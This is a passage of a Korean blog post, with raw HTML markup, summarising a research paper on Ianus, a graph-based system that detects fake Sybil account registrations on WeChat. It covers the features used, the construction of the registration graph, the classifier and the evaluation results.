width=&quot;441&quot; height=&quot;129&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;192&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 5] nickname 패턴&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같은 attributes의 결과를 통해 단순하게 Sybil detector를 만들 수도 있다. 예를 들어 하루에 특정 개수 이상의 동일한 IP prefix를 사용할 경우, Sybil account라고 판단하면 거의 100%의 precision을 가질 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, 본 데이터셋에 이렇게 단순한 detector를 구현할 경우, 단지 59%의 recall을 나타낸다. 즉, Sybil account가 있더라도 절반은 탐지를 못하고 놓친다는 말이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 본 연구에서는 이번 절에서 살펴본 synchronization patterns of attributes 뿐 아니라, 다음 절에서 살펴볼 anomaly patternes 또한 고려할 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&amp;nbsp;3.3. Anomaly&lt;/span&gt; &lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 살펴본 synchronization 패턴만 가지고는 sybils를 가려내는데 한계가 있다. 예를 들어 특정 IP prefix에서 여러개의 accounts들이 가입을 했다고 했을 때 이를 sybils나 bening account 라고 단정하기는 어렵다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 특정 시간대 (예를 들어 새벽)에 동시에 여러개의 accounts들이 가입을 한다면 이는 abnormal 한 패턴이고, 이럴 경우 sybils 일 확률이 더 올라간다. 다양한 anomaly 패턴들을 살펴보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&amp;nbsp;1) Registration time&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 [그림 6]은 특정 IP prefix를 사용해 가입한 accounts에 대하여 가입 시간을 그래프로 나타낸 것이다. 대체적으로 benign accounts들은 낮이나 밤에 가입을 자주 하며, sybil accounts들은 새벽에 동시다발적으로 가입을 하는 경향을 띄는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;762&quot; data-origin-height=&quot;337&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxLvlS/btru5bZgX24/EO1zopR3x2W6e3CAndgMJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxLvlS/btru5bZgX24/EO1zopR3x2W6e3CAndgMJk/img.png&quot; data-alt=&quot;[그림 6] nubmer of accounts registerd from IP prefix in each 15 minutes&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxLvlS/btru5bZgX24/EO1zopR3x2W6e3CAndgMJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxLvlS%2Fbtru5bZgX24%2FEO1zopR3x2W6e3CAndgMJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;491&quot; height=&quot;217&quot; data-origin-width=&quot;762&quot; data-origin-height=&quot;337&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 6] nubmer of accounts registerd from IP prefix in each 15 minutes&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&amp;nbsp;2) Geolocation inconsistency&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IP 주소나 전화번호 정보는 위치 정보와도 매핑될 수 있는 정보이다. 데이터셋에서 관측해본 결과 대부분의 sybils들은 동일한 위치에서 가입을 하지 않는 것으로 나타났다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 cloud나 remote compomise machine을 이용하기 때문일 것으로 추측하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&amp;nbsp;3) Rare and outdated WeChat and OS versions&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터셋을 관측해본 결과, 대부분의 sybil accounts 들은 오래된 WeChat 버전이나 OS 버전을 사용하는 것으로 나타나고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;4. Design of Ianus&lt;/b&gt; &lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;4.1. Overview&lt;/b&gt; &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1339&quot; data-origin-height=&quot;401&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bk0Zwx/btru7qPK8Tx/MkEbUykAcR04Q5I86LfYzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bk0Zwx/btru7qPK8Tx/MkEbUykAcR04Q5I86LfYzk/img.png&quot; data-alt=&quot;[그림 7] Overview of Ianus&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bk0Zwx/btru7qPK8Tx/MkEbUykAcR04Q5I86LfYzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbk0Zwx%2Fbtru7qPK8Tx%2FMkEbUykAcR04Q5I86LfYzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;753&quot; height=&quot;225&quot; data-origin-width=&quot;1339&quot; data-origin-height=&quot;401&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 7] Overview of Ianus&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ianus의 전체적인 구조는 [그림 7]과 같다. Ianus 는 크게 3단계를 거쳐 동작하게 되는데, 1) Feature extraction 2) Graph building 3) Sybil detection 이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 Feature extration 단계에서는 앞서 3장에서 설명한 measurement 기준에 의거하여 각 attributes에 대하여 Synchronization based features와 anomaly based features를 수집한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;graph building 단계에서는 weighted graph를 생성하여 heterogeneous 한 features들을 integrate 하는 역할을 수행한다. Sybil Node들은 densly 하게 연결되어 있으며 높은 weight 값을 가지고, benign Node 들은 sparse 하게 연결되어 있으며 낮은 weight 값을 가지게 될 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 weight 값을 매기기 위해서 두 account 사이의 synchronized &amp;amp; anomaly 패턴을 기반으로 sync-anomaly score를 측정하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Sybil detection 단계에서는 앞서 생성한 registration graph 를 분석하여 Sybils를 탐지하는 과정이다. 분석에는 community detection 알고리즘과 같은 기법이 적용될 수 있다. 본 논문에서는 community detection 방식과 비슷한 성능을 내지만 훨씬 빠르게 동작하는 simple weighted node degree based method를 제안하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 특정 Node의 weighted degree가 threshold 값보다 높으면 sybils 라고 판단하는데, 이 threshold 값은 ML 을 통해 학습될 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;4.2. Extracting Features&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 살펴보았듯이 Features로는 synchronization based features와 anomaly based features를 수집한다. synchronization based features들은 2개의 registrations 쌍 사이에서 산출되며, features들은 binary 이다. 예를 들어 registration A와 B사이에 feature 1이 유효하다면 1, 유효하지 않다면 0으로 표현하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반대로 anomaly based features들은 쌍으로 계산하는것이 아니라, 각 노드마다 individual 하게 계산한 뒤, 두개의 registration 각각의 anomaly based feature 값을 concatenate 하는 형태로 합치게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Synchronization based features는 [그림 8]과 같으며, Anomaly based features 는 [그림 9]과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;627&quot; data-origin-height=&quot;456&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DJNgZ/btrvbhjJSvv/82oahAoBLUf8g5pqkPEsm0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DJNgZ/btrvbhjJSvv/82oahAoBLUf8g5pqkPEsm0/img.png&quot; data-alt=&quot;[그림 8] Synchronization based features&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DJNgZ/btrvbhjJSvv/82oahAoBLUf8g5pqkPEsm0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDJNgZ%2FbtrvbhjJSvv%2F82oahAoBLUf8g5pqkPEsm0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;419&quot; height=&quot;305&quot; data-origin-width=&quot;627&quot; data-origin-height=&quot;456&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 8] Synchronization based features&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;687&quot; data-origin-height=&quot;286&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3ijRG/btrvaIhAV8E/gTpa0o3Airl2OYzKrWRLsK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3ijRG/btrvaIhAV8E/gTpa0o3Airl2OYzKrWRLsK/img.png&quot; data-alt=&quot;[그림 9] Anomaly based features&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3ijRG/btrvaIhAV8E/gTpa0o3Airl2OYzKrWRLsK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3ijRG%2FbtrvaIhAV8E%2FgTpa0o3Airl2OYzKrWRLsK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;459&quot; height=&quot;191&quot; data-origin-width=&quot;687&quot; data-origin-height=&quot;286&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 9] Anomaly based features&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;4.3. Building a Registration Graph&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;registration graph의 최종 목표는 accounts로 대표되는 Node 중에서, sybils 의 경우 더 큰 weight 값으로 edge들이 이어지게 만드는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 노드 쌍의 score를 계산하기 위해서는 feature들로부터 ML 학습을 진행하게 된다. 이 socre를 sync-anomaly score라 부르고, 해당 score를 기준으로 registration graph를 생성하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sync-anomaly score를 계산할 때 가장 중요한 것은 synchronization based feature와 anomaly based feature의 가중치를 계산하는 것이다. 데이터셋에서 registration 정보와 labels이 포함된 historical 데이터를 통해 학습을 진행하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 제공된 feature값과 label을 통해 logistic regression classifier 모델을 설계했고, 그 결과값을 sync-anomaly score로 산출하였다. 이 때 graph 에서는 두 노드 사이에서 benign인지 sybils 인지 labeling을 해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 간단하게 labelling 하는 방법은 두 Node의 label을 활용하는 것이다. 만약 한 쌍의 노드에서 둘 다 benign 이라면, 해당 edge를 benign으로 labelling 하고, 둘 다 sybils 하다면 해당 edge를 sybil로 labelling하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, 이런 방식은 inconsistency를 일으킬 수 있다. 두 쌍의 Nodes들이 있을 때, randomness에 의해 같은 features를 가진다고 하더라도 다르게 labelling될 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 inconsistency는 ML 학습 과정에서 여러 문제를 발생시킬 수 있다. 따라서 본 연구에서는 labelling을 진행할 때, 데이터셋 내에서 모든 가능한 pairs of registration 쌍을 고려한 뒤, labelling을 해주는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 특정 feature vectors를 가지는 노드 쌍들이 대부분 Sybils 라면 해당 edge를 sybils 라고 labelling 하는 것이다. 이러한 과정을 통해 Sybils 가 아닌 두 노드들은 최대한 densly 연결되지 않도록 구성할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Positive label를 부여하는 threshold값을 높이면, 한 쌍의 benign accounts들이 더 연결되지 않도록 된다. 이제 각 쌍의 노드마다 feature vectors와 label이 준비되어 있다. 이제 이 두 정보를 가지고 sync-anomaly score 를 학습하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;logistic regression classifier에 input 값으로 feature vecotrs가 들어가고, output 값으로 해당 edge 가 positive label일 확률이 나오게 된다. 해당 확률과 label 값을 통해 학습을 시켜주고 난 뒤, 각 노드 쌍마다 해당 classifier 를 적용시키면 확률값이 output으로 나오게 되고, 이것을 sync-anomaly score로 사용하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시한번 강조하지만 본 장에서의 목적은 sybils 노드 끼리는 densly 연결되게 하고, benign 노드는 최대한 격리시키도록 만드는 graph를 구성하는 것이다. 이를 구현하기 위해서 graph를 그릴 때, 두 노드가 모두 sybils 라고 판단될 경우에만 edge를 그렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 이 말은 두 노드 사이의 sync-anomlay score가 0.5를 넘는 경우에만 edge를 그었고, edge의 weight 로 sync-anomaly score를 사용했다. 하지만, 데이터의 수가 많은 경우 모든 노드 쌍에 대하여 sync-anomaly score를 계산하는 것은 굉장히 어렵다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 이 문제를 해결하기 위해 registration attributes (IP prefix, phone number, device ID) 가 동일한 노드 쌍에 대해서만 sync-anomaly score를 계산하고, 해당 값이 0.5가 넘을 경우에 edge를 그어주는 식으로 구현하였다. 4.4. Detecting Sybils 앞서 생성한 registration graph를 기반으로 sybils를 탐지하는 단계이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sybil accounts들은 densly connected 되어있고 benign accounts 들은 sparse connected 되어있기 때문에, community detection 알고리즘을 적용해볼 수 있으며, 그 중 가장 유명한 Louvain method를 적용해볼 수 있다. 또 다른 방법으로는 simple weighted node degree based method를 적용해볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;weighted degree of a node는 단순하게 해당 노드에 연결된 모든 edge들의 weight 를 더함으로써 계산될 수 있다. 즉, 특정 노드가 다른 노드들과 많이 연결되어 있을수록 sybils 할 확률이 높은 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, weighted node degree 이 가능한 값은 굉장히 큰 범위를 가지기 때문에, 탐지 정확도를 떨어트릴 수 있다. 이를 해결하기 위해 tanh 함수를 통해 normalize 해주는 과정을 거치게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 이렇게 normalize된 weighted node degree 값을 binary classification classifier 에 적용시킬 수 있는데, 본 연구에서는 앙상블 기법 중 하나인 EasyEnsemble 모델을 사용하였다. 해당 모델을 사용하면 imbalance 한 데이터셋의 문제를 해결해줄 수 있다. (물론 본 연구의 데이터셋이 크게 imbalance 한 것은 아니다만...) 해당 방식으로 실험을 진행해본 결과, Louvain method 와 비슷한 정확도를 뽑아내면서도 훨씬 빠른 성능을 나타내는 것을 확인할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;5. Evaluation&lt;/b&gt; &lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;5.1. Experimental Setup&lt;/b&gt; &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 사용된 데이터셋으로는 각 다른 시기에 획득한 WeChat의 2개의 데이터셋을 사용하였다. 앞서 3장에서 획득한 attributes들의 measurments들은 모두 Dataset 2를 사용해 얻어진 결과이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 sync-anomaly score를 얻는 과정에서도 학습 데이터셋이 필요했다. 이 학습 데이터셋은 Dataset 1 의 일부를 가져와 학습시켰으며, Ianus를 테스트 하는데에는 Dataset 2 를 사용했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ianus 를 evaluation 할 때는 1) variants of Ianus 와 비교하는 method와 2) Popularity-based method 로 나눠 진행하였다. 우선 variants of Ianus로는 Ianus, Ianus-Sync &amp;amp; Ianus-Anomaly(feature로 synchronization or anomaly based feature 하나만 쓰는 방식), Ianus-FS (edge를 그리는 threshold 값 다르게), Ianus-CD (Louvain method 사용), Ianus-FS-CD 등이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 Popularity-based method는 앞서 3.2장에서 본 것처럼 단순히 attributes 의 popularity가 높으면 sybils 라고 판단하는 방식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 특정 IP prefix의 popularity가 높으면 이에 해당하는 모든 노드들을 Sybils 라고 판단하는 방식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;5.2. Results&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&amp;nbsp;1) Ianus is effective&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 Ianus 를 통해 dataset2를 테스트해 본 결과, 92.4% Precision, 80.2% Recall, 85.9% F-Score를 나타냈다. 이는 Ianus가 효과적으로 sybils 를 탐지하고 있음을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 registration graph에서 community의 size에 따라서 false positive 비율이 상이하게 나타는 것을 확인할 수 있었다. 대체적으로 community size가 너무 작거나 크면 false positive 비율이 증가하는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&amp;nbsp;2) Impact of the threshold of Sybil support ratio &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;467&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Cva8s/btru3NxCnaK/577bXqzaF84DKN38zMzbHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Cva8s/btru3NxCnaK/577bXqzaF84DKN38zMzbHk/img.png&quot; data-alt=&quot;[그림 10] Impact of the threshold &amp;amp;amp;amp; Fraction of Dataset on Ianus&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Cva8s/btru3NxCnaK/577bXqzaF84DKN38zMzbHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCva8s%2Fbtru3NxCnaK%2F577bXqzaF84DKN38zMzbHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;625&quot; height=&quot;271&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;467&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 10] Impact of the threshold &amp;amp;amp; Fraction of Dataset on Ianus&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[그림 10]의 a에서 확인할 수 있듯이 threshold of sybil support 가 0.95에서 0.98로 증가할수록 Precision은 증가하고 Recall이 감소하는 것을 확인할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 0.98에서 0.99로 증가할수록 Precision은 조금 증가하지만 Recall이 급격하게 감소하는 것을 확인할 수 있었다. 따라서 본 시스템에서 0.98을 threshold of sybil support로 채택하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&amp;nbsp;3) Impact of the training dataset size&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[그림 9]의 b에서 확인할 수 있듯이 dataset 1의 데이터 중 1%를 사용했을 경우에서 10%를 사용했을 경우로 갈수록 Precision이 증가하고 Recall이 감소하는 것을 확인할 수 있었다. 다만, 10%가 넘어서는 stable한 상태에 접어들게 되므로, 굳이 10% 이상의 많은 수의 데이터를 학습과정에 사용할 필요는 없는 것으로 나타났다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&amp;nbsp;4) Ianus vs Ianus-Sync &amp;amp; Ianus-Anomaly&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1447&quot; data-origin-height=&quot;658&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ebofAC/btrvbfF6H3m/BcaU54qetTNwnaenQ4ThNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ebofAC/btrvbfF6H3m/BcaU54qetTNwnaenQ4ThNK/img.png&quot; data-alt=&quot;[그림 11] Comparing Ianus, Ianus-Sync, Ianus-Anomaly&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ebofAC/btrvbfF6H3m/BcaU54qetTNwnaenQ4ThNK/img.png&quot; 